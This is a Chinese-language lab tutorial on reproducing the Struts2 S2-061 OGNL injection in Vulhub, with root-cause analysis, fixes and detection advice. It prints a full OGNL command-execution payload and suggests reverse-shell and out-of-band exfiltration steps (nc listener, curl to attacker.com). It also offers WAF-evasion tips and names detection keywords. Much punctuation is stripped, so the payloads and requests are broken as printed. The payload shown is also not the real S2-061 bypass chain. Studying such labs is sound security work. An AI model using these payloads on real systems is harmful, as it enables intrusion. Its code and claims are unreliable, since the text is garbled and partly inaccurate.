Vulhub实战:Struts2 S2-061漏洞复现与OGNL注入原理剖析
1. 项目概述从靶场到原理的深度渗透最近在整理内部安全团队的技能矩阵时我发现很多新人对Struts2这类经典框架漏洞的理解还停留在“用工具跑一下POC”的层面。这其实很危险因为知其然不知其所以然一旦遇到WAF拦截或环境变形就完全无从下手。正好Vulhub这个开源的漏洞靶场环境为我们提供了一个绝佳的、可反复“破坏”的沙箱。今天我就以Struts2家族中一个非常典型的远程代码执行漏洞——S2-061CVE-2020-17530为例带大家走一遍从环境搭建、漏洞复现到深入分析OGNL注入原理的完整流程。这个项目标题“Vulhub实战Struts2 S2-061漏洞复现与OGNL注入分析”已经清晰地勾勒出了我们的行动路线图。Vulhub是我们的“实验室”和“演武场”它封装了漏洞环境让我们能一键搭建专注于攻击技术本身。Struts2 S2-061是我们要攻克的具体目标一个在2020年底被披露的高危漏洞。而OGNL注入则是贯穿几乎所有Struts2高危漏洞的核心“命门”不理解它就等于没看懂Struts2的安全问题。所以这次实战不仅仅是按下一个按钮看到弹窗更重要的是拆解漏洞触发链条上的每一个齿轮理解攻击载荷Payload是如何被构造、传递并最终在服务器端被执行的。这对于安全研究人员、渗透测试工程师乃至开发人员理解安全编码都至关重要。2. 环境准备与靶场搭建工欲善其事必先利其器。在开始“搞破坏”之前我们需要一个安全、隔离且标准化的实验环境。Vulhub的出现极大地简化了这一过程。2.1 Vulhub靶场简介与部署Vulhub是一个基于Docker和Docker-compose的漏洞环境集合。它的核心价值在于“开箱即用”。开发者们已经将历史上各种著名的漏洞如Struts2系列、ThinkPHP系列、Weblogic反序列化等的受影响应用版本打包成了一个个独立的Docker镜像。我们只需要几条命令就能在本地瞬间拉起一个带有漏洞的Web服务完全不用担心污染主机环境或复杂的依赖配置。部署Vulhub的步骤非常直接系统准备确保你的实验机器可以是物理机、虚拟机或云服务器已经安装了Docker和Docker-compose。这是Vulhub运行的基础。获取Vulhub直接从GitHub克隆官方仓库是最佳方式这样可以随时更新到最新的漏洞环境。git clone https://github.com/vulhub/vulhub.git cd vulhub启动特定漏洞环境Vulhub的目录结构非常清晰按漏洞类型或产品名称组织。我们需要找到Struts2 S2-061对应的目录。# 进入Struts2漏洞目录 cd struts2 # 查找S2-061对应的文件夹通常目录名会包含漏洞编号 ls -la # 假设目录名为 s2-061进入并启动 cd s2-061 docker-compose up -d执行docker-compose up -d后Docker会在后台拉取镜像如果本地没有并启动容器。通常漏洞应用会监听在宿主机的某个端口如8080。我们可以通过docker-compose ps命令查看容器状态和端口映射。注意在实验环境中请务必确保Docker服务正常运行且防火墙规则允许访问映射的端口。首次拉取镜像可能需要一些时间取决于网络状况。2.2 S2-061漏洞环境确认环境启动后我们首先需要确认靶场是否正常运行并初步了解目标应用。访问http://your-ip:8080将your-ip替换为你的实验机IP你应该能看到一个简单的Struts2示例页面。这个页面可能包含一些表单或链接用于演示Struts2的标签功能。为了更精确地定位漏洞点我们需要查看一下Vulhub为该漏洞准备的Dockerfile或应用代码。通常在s2-061目录下会有一个src或ROOT目录存放着Web应用源码。快速浏览一下其中的JSP文件或配置文件可以帮助我们理解漏洞触发的上下文。例如S2-061漏洞的触发与Struts2的标签属性解析有关我们可能会在源码中看到类似s:textfield labeltest namename value%{example} /这样的标签使用。实操心得不要急于运行攻击脚本。花几分钟时间阅读Vulhub项目在GitHub上该漏洞目录下的README.md文件里面通常包含了漏洞简介、影响版本、启动方式有时还有漏洞原理的简要说明和复现步骤。这是第一手的高质量信息。2.3 攻击机工具准备我们的攻击将在另一台机器或同一台机器的另一个终端上进行。需要准备的工具主要包括Burp Suite用于拦截、查看、修改和重放HTTP请求是分析Web漏洞的“瑞士军刀”。社区版足以满足本次复现需求。浏览器任何现代浏览器均可用于初步访问和触发请求。命令行工具如curl用于快速发送测试请求。文本编辑器用于编写和修改攻击载荷。确保Burp Suite的代理已正确配置通常监听127.0.0.1:8080并且浏览器或系统网络设置已指向该代理以便捕获所有流量。3. 漏洞复现过程全记录环境就绪工具在手现在让我们开始真正的漏洞利用。S2-061的复现过程是一个典型的“参数污染”导致OGNL表达式注入的过程。3.1 初步信息收集与漏洞点探测首先通过浏览器正常访问靶场地址。假设页面上有一个表单提交后会将参数传递给某个Action。我们打开浏览器开发者工具F12的“网络(Network)”选项卡然后提交表单观察发送的请求。关键的步骤在于我们需要找到一个Struts2标签能够解析value或name等属性中OGNL表达式的地方。S2-061漏洞的特别之处在于它发生在Struts2框架对标签属性值进行二次评估时。具体来说当标签的属性值例如%{...}被强制转换为字符串后在某些情况下如使用%{...}语法进行属性赋值这个字符串又会被重新评估为OGNL表达式。一个常见的测试方法是在提交的参数中尝试插入一个简单的OGNL表达式来验证漏洞是否存在。例如我们可以修改请求中的某个参数值为%{11}。如果服务器在响应中返回了2或者出现了错误信息但其中包含了表达式执行的结果那就初步表明存在OGNL表达式注入点。使用Burp Suite拦截提交的请求将其发送到“重放(Repeater)”模块。假设拦截到的POST请求如下POST /someAction.action HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded nametestemailuserexample.com我们尝试将name参数修改为OGNL表达式name%{11}emailuserexample.com发送请求观察响应。如果页面某处可能在错误信息、回显的字段值里出现了2则证明注入成功。3.2 构造并执行远程代码命令确认OGNL注入点存在后下一步就是构造能够执行任意命令的Payload。OGNL表达式功能强大可以访问Java对象的方法。最经典的命令执行Payload是调用Runtime.getRuntime().exec()。但是在Struts2的安全防护机制如沙盒、黑名单过滤下直接使用Runtime可能被拦截。因此攻击Payload往往需要经过混淆或使用反射等技巧来绕过。一个常见的S2-061攻击载荷结构如下%{(#_memberAccess[allowStaticMethodAccess]true,#ajava.lang.RuntimegetRuntime().exec(whoami).getInputStream(),#bnew java.io.InputStreamReader(#a),#cnew java.io.BufferedReader(#b),#dnew char[5000],#c.read(#d),#outorg.apache.struts2.ServletActionContextgetResponse().getWriter(),#out.println(result:),#out.println(new java.lang.String(#d)),#out.close())}这个Payload看起来复杂我们来拆解一下#memberAccess[allowStaticMethodAccess]true这是一个关键的绕过步骤。在Struts2的某些安全配置下默认禁止OGNL访问静态方法。这行代码尝试修改一个内部标志位允许静态方法访问。#ajava.lang.RuntimegetRuntime().exec(whoami)以静态方法方式调用Runtime.getRuntime()并执行系统命令whoami查看当前进程用户。exec()方法返回一个Process对象。.getInputStream()获取命令执行后的输出流。#bnew java.io.InputStreamReader(#a), #cnew java.io.BufferedReader(#b)将字节流包装成字符流并用缓冲流读取这是Java中读取进程输出的标准做法。#dnew char[5000], #c.read(#d)创建一个字符数组并从缓冲流中读取内容。#outorg.apache.struts2.ServletActionContextgetResponse().getWriter()通过Struts2的静态方法获取当前HTTP响应的PrintWriter对象。#out.println(result:), #out.println(new java.lang.String(#d)), #out.close()将读取到的命令执行结果输出到HTTP响应中。在Burp Suite的Repeater中我们将包含上述Payload的请求发送出去。重要需要将Payload进行URL编码因为{}、、()等字符在HTTP请求中有特殊含义。Burp Suite的Repeater模块可以一键进行URL编码快捷键CtrlU。编码后的Payload是一长串%XX格式的字符串。发送请求后如果漏洞利用成功我们将在HTTP响应体中看到result:字样后面跟着命令whoami的执行结果例如root或tomcat。3.3 漏洞复现结果验证与信息获取成功执行whoami只是第一步它验证了远程代码执行RCE的能力。接下来我们可以尝试执行更多命令来获取系统信息进一步确认漏洞的危害性。查看当前工作目录将Payload中的命令改为pwdLinux或cdWindows。列出目录文件使用ls -laLinux或dirWindows。探测网络信息使用ifconfig或ip addrLinux或ipconfigWindows。尝试反弹Shell谨慎在授权测试中为了获得一个交互式会话可以尝试使用反向Shell命令。例如在攻击机上监听一个端口nc -lvnp 4444然后将Payload中的命令改为反弹Shell的语句。请注意这仅在完全可控的实验室环境中进行。注意事项在实际漏洞复现或渗透测试中执行系统命令需格外谨慎。避免使用rm -rf /、format等破坏性命令。在Vulhub这样的靶场中因为运行在容器内影响相对隔离但仍应养成良好的习惯。每次修改Payload后都要记得进行URL编码。另外不同的Struts2版本或配置可能需要对Payload进行微调例如使用不同的上下文对象来获取Response。4. OGNL注入原理深度剖析复现成功固然令人兴奋但理解漏洞为何会发生才能举一反三甚至发现新的漏洞。S2-061的核心在于OGNLObject-Graph Navigation Language表达式的双重解析。4.1 OGNL表达式语言简介OGNL是Struts2框架默认使用的表达式语言。它的能力非常强大远不止于访问对象的属性。在Struts2中OGNL用于数据绑定将HTTP请求参数自动绑定到Action类的属性上。视图渲染在JSP标签或模板中动态地计算并显示数据例如s:property valueuser.name /。类型转换将字符串形式的请求参数转换为Action属性定义的复杂类型。OGNL表达式放在%{和}之间或者在某些标签属性中直接使用。框架在渲染视图时会解析这些表达式并执行其中的逻辑。这就埋下了安全隐患如果攻击者能够控制这些表达式的内容就能注入任意代码。4.2 S2-061漏洞触发链条拆解S2-061是S2-059漏洞的绕过。要理解S2-061需要先了解S2-059。S2-059的根源在于当Struts2标签的某些属性如id,name的值来自用户输入并且该值被强制转换为字符串时如果这个字符串本身又是一个OGNL表达式以%{开头框架在某些流程中会错误地对其进行二次求值。S2-061在此基础上更进一步。开发者可能认为如果用户输入被正确地转义或包裹在单引号中就能防止OGNL注入。例如标签这样写s:textfield value%{user_input} /意图是将user_input作为一个字符串字面量。然而漏洞就出在这个%{...}的解析过程中。漏洞触发流程可以简化为攻击者提交恶意数据其中包含精心构造的OGNL表达式但整个表达式被包裹在%{‘...’}的结构中。Struts2框架第一次解析标签时将%{‘...’}整体计算结果本应是一个普通的字符串即单引号内的内容。但是在后续的某些处理环节例如在为标签生成最终HTML的id或name属性时这个“结果字符串”又被错误地当作了新的OGNL表达式上下文的一部分导致了第二次解析。在第二次解析时原本作为字符串内容被单引号保护起来的恶意OGNL代码就被“释放”出来并执行了。这就好比一个信封第一次解析%{}里面装着一封信字符串邮局Struts2本应只处理信封地址。但S2-061漏洞导致邮局不仅看了信封还把信拆开把信里的内容本应是字符串的恶意代码当作新的指令执行了。4.3 Payload构造技巧与绕过思路从上面的原理分析我们可以总结出构造S2-061有效Payload的关键我们需要构造一个字符串这个字符串本身是一个合法的、能绕过初步检查的OGNL表达式并且在其被二次解析时能产生真正的恶意效果。常见的绕过技巧包括利用OGNL的复杂语法OGNL支持变量赋值#varvalue、方法调用、静态方法访问classmethod、创建对象new等。攻击Payload就是这些语法的组合。处理上下文对象在Struts2中OGNL表达式执行时有特定的上下文Context其中包含了一些预定义的变量如#request,#session,#application等以及当前Action的实例。Payload需要知道如何获取HttpServletResponse对象例如通过org.apache.struts2.ServletActionContextgetResponse()来输出结果。绕过安全限制如之前Payload中出现的#_memberAccess[allowStaticMethodAccess]true就是尝试修改Struts2的安全管理器SecurityMemberAccess的属性以开启被禁止的功能。不同版本Struts2的安全配置键名可能不同需要适配。编码与混淆为了绕过潜在的WAF或简单过滤可以对Payload中的关键字进行各种编码如URL编码、Hex编码、Unicode编码或使用字符串拼接等技巧。理解这些我们就能看懂为什么那个冗长的Payload能工作也能在遇到拦截时尝试变种。例如如果Runtime被过滤可以尝试使用ProcessBuilder类如果静态方法访问被严格禁止可能需要寻找其他访问上下文的途径。5. 漏洞修复方案与安全启示复现和分析漏洞的最终目的是为了修复和预防。对于使用Struts2的开发团队和安全人员S2-061提供了深刻的教训。5.1 官方修复方案与升级指南Apache Struts官方在披露S2-061的同时也发布了修复版本。修复的核心思路是严格限制OGNL表达式在标签属性中的二次求值行为确保用户输入即使被包含在%{‘...’}中也不会在后续阶段被重新解析为OGNL。具体的修复措施包括升级Struts2框架这是最根本、最推荐的解决方案。受影响版本如Struts 2.0.0 - 2.5.25的用户应尽快升级到官方修复版本2.5.26及以上。升级前务必阅读官方发布说明进行充分的兼容性测试。应用安全补丁如果因历史原因无法立即升级整个框架可以尝试寻找针对特定版本的安全补丁如果官方提供。但这种方式通常难以维护且可能不完整。配置安全拦截器Struts2的安全拦截器如Strict Method Invocation可以在一定程度上限制OGNL表达式的能力。确保在struts.xml中正确配置并启用了这些安全特性。constant namestruts.strictMethodInvocation valuetrue /但这只是一种缓解措施不能完全替代升级。5.2 开发层面的安全编码实践框架的漏洞需要框架来修复但开发者的安全意识同样至关重要可以避免引入不必要的风险。避免在标签属性中直接使用用户输入这是黄金法则。尽量不要将未经严格过滤的用户输入直接作为OGNL表达式的一部分或者直接赋值给标签的id、name、value等属性。使用更安全的表达式语法在JSP中优先使用EL表达式${}而非Struts2标签的OGNL除非确实需要Struts2标签的特定功能。EL表达式的功能相对受限更安全。输入验证与过滤对所有用户输入进行严格的验证和过滤。对于可能用于渲染的参数考虑进行HTML编码或白名单过滤。最小权限原则运行Struts2应用的Web服务器如Tomcat进程应使用非root、低权限的用户运行以限制漏洞被利用后造成的破坏范围。5.3 企业安全防护与检测建议对于安全运维人员除了推动开发团队修复漏洞还应建立纵深防御体系。资产梳理与漏洞扫描定期使用漏洞扫描工具如Nessus, OpenVAS, AWVS等对内外网Web应用进行扫描及时发现并告警存在Struts2等已知漏洞的系统。WAF规则部署在Web应用防火墙WAF上部署针对OGNL注入特征如#_memberAccess,java.lang.Runtime,getRuntime().exec等关键字组合的检测和拦截规则。但要注意攻击者可能使用混淆技术绕过简单规则。RASP应用在可能的情况下考虑使用运行时应用自我保护RASP技术。RASP agent运行在应用内部能够监控OGNL表达式解析等关键函数调用更精准地识别和阻断恶意注入行为即使攻击载荷经过混淆。日志监控与审计确保应用服务器和Struts2的日志级别设置得当监控日志中是否出现异常的、包含大量特殊字符如%{,#,的请求参数这可能是攻击尝试的迹象。6. 拓展思考与高级利用场景掌握了S2-061的基础复现和原理后我们可以将视野放得更广一些思考一些更深入的问题和场景。6.1 与其他Struts2漏洞的关联对比Struts2的漏洞史几乎就是一部OGNL注入的演进史。将S2-061与它的“前辈们”对比能更好地理解攻击与防御的博弈S2-045 / S2-046基于文件上传错误处理的OGNL注入影响面极广。它与S2-061的触发点不同文件上传解析 vs 标签属性解析但最终都是通过OGNL执行代码。S2-048涉及Struts2插件struts2-struts1-plugin的OGNL注入。这说明漏洞可能出现在框架的扩展部分而不仅仅是核心。S2-052涉及REST插件和XStream反序列化虽然最终也是RCE但路径是反序列化与OGNL注入有区别。S2-057涉及命名空间和重定向结果的OGNL注入又是一个新的触发场景。它们的共性是Struts2框架在将用户可控数据传递到OGNL解析引擎的某个环节时失去了严格控制。差异在于这个“环节”的位置不同。理解这一点在代码审计时就知道该重点审查哪些数据处理流程。6.2 在受限环境下的利用尝试真实的网络环境往往没有实验室这么理想。我们可能会遇到命令执行被拦截或无回显Runtime.exec()可能被安全管理器禁止或者执行了命令但无法将结果输出到HTTP响应无回显。此时可以尝试使用其他执行方式如ProcessBuilder或者利用Java反射来间接调用。外带数据OOB尝试使用DNS查询、HTTP请求等方式将命令执行结果带出。例如执行curl http://attacker.com/并在攻击机Web日志中查看访问记录。延时判断执行sleep 5之类的命令通过观察响应时间是否延迟来判断命令是否执行。WAF/IPS拦截商业WAF通常有Struts2漏洞的规则集。绕过可能需要更复杂的Payload混淆如字符串拆分与拼接“cmd”写成“c” “md”。编码使用Base64、Hex、Unicode编码命令或关键字。使用冷门类或方法避免直接使用Runtime寻找其他可以执行命令或读写文件的Java类。6.3 从攻击到防御代码审计视角作为一名安全研究员或红队成员复现漏洞之后应该尝试站在防御者或代码审计者的角度思考。如果给你一份Struts2应用的源码如何寻找潜在的S2-061类漏洞全局搜索在JSP、FreeMarker等视图文件中搜索Struts2标签库的引用特别是s:textfield,s:label,s:property等标签。审查标签属性重点检查这些标签的id、name、value、label等属性的值来源。如果属性值使用了%{...}语法并且其中的表达式包含了来自用户输入的变量如#parameters[xxx],#request.xxx就需要高度警惕。跟踪数据流如果发现可疑点需要向前追踪这个用户输入变量在整个Action处理流程中是否经过了充分的过滤或校验。关注强制类型转换在代码中寻找将对象强制转换为字符串String.valueOf()或隐式转换的地方尤其是在转换之后这个字符串又被用于OGNL表达式求值的场景。这正是S2-061的根源。这种主动的代码审计思维能帮助你在黑盒测试遇到阻碍时通过白盒分析找到新的攻击面。7. 常见问题与排查实录在复现过程中你可能会遇到各种问题。这里记录了一些典型情况及其解决方法。7.1 环境启动与访问问题问题执行docker-compose up -d后容器启动失败。排查运行docker-compose logs查看具体错误日志。常见原因有端口冲突如宿主机8080端口已被占用、镜像拉取失败网络问题、Docker引擎版本不兼容。解决修改docker-compose.yml文件中的端口映射如将8080:8080改为8081:8080或使用docker-compose down清理后重试。问题容器状态为Up但无法通过浏览器访问。排查首先在宿主机上执行curl http://localhost:映射端口测试。如果宿主机能通可能是防火墙或安全组规则问题。如果宿主机也不通进入容器检查应用日志docker exec -it 容器名 /bin/bash然后查看Tomcat日志通常在/usr/local/tomcat/logs/下。解决检查防火墙设置或查看应用日志中的启动错误。7.2 漏洞复现不成功问题发送Payload后返回500错误但没有命令执行结果。排查这是最常见的情况。首先检查Burp Suite中发送的Payload是否已经正确进行了URL编码。未编码的{、}等字符会导致请求格式错误。其次查看HTTP响应体或服务器日志中的完整错误信息。错误信息可能直接提示OGNL表达式解析失败例如找不到某个类或方法。解决确保Payload正确编码。根据错误信息调整Payload例如目标Struts2版本可能使用了不同的上下文变量名尝试将#_memberAccess替换为#context[com.opensymphony.xwork2.ActionContext.container]或其他变体。参考其他公开的针对特定Struts2版本的EXP。问题返回状态码200但页面没有任何变化也没有命令结果回显。排查这可能意味着OGNL表达式执行了但输出没有正确重定向到HTTP响应。或者命令本身执行失败如命令不存在、权限不足。解决尝试一个更简单的测试Payload如%{11}看是否能回显2。如果不能说明注入点可能不对或者环境有更强的防护。尝试在Payload中使用#out.println(test)来测试输出通道是否畅通。对于命令执行先尝试一个绝对路径的、肯定存在的命令如Linux下的/bin/ls。问题命令执行了但回显乱码或不全。排查这通常是字符编码问题或者命令输出中包含换行符等特殊字符在OGNL字符串处理或HTTP响应中显示异常。解决在Payload中可以对命令输出进行Base64编码后再回传。例如将执行结果通过管道传递给base64命令。在攻击端收到Base64字符串后再解码。7.3 工具与技巧相关问题问题Burp Suite抓不到靶场的流量。排查确认浏览器代理设置正确指向了Burp Suite通常是127.0.0.1:8080。如果靶场运行在虚拟机或远程服务器需要确保Burp Suite监听在所有网络接口0.0.0.0上并在浏览器中配置对应的代理IP和端口。解决在Burp Suite的Proxy-Options-Proxy Listeners中编辑监听器将Bind to address从Loopback only改为All interfaces。问题如何自动化利用这个漏洞说明对于S2-061这类有公开POC的漏洞已有许多安全工具集成例如Metasploit框架中就有相应的利用模块。也可以使用Python编写简单的脚本使用requests库发送构造好的Payload。建议在理解了手动复现的原理后可以尝试编写自己的自动化脚本这对于学习Payload构造和HTTP交互非常有帮助。但务必仅在授权环境中使用。整个实战下来我的体会是漏洞复现就像做一道复杂的物理实验。搭建环境Vulhub只是准备器材执行攻击脚本只是按步骤操作而真正的收获来自于中间的分析、调试和原理探究。每一次“为什么这个Payload不行”的追问每一次查看错误日志的排查都会让你对OGNL解析机制、Struts2框架流程乃至Java安全的理解加深一层。面对一个复杂的漏洞不妨把它拆解成输入点在哪里数据流经了哪些组件在哪个环节失去了控制最终达到了什么效果按照这个思路不仅是S2-061其他许多漏洞的分析路径也会清晰起来。最后记得在实验结束后运行docker-compose down来清理所有容器释放资源。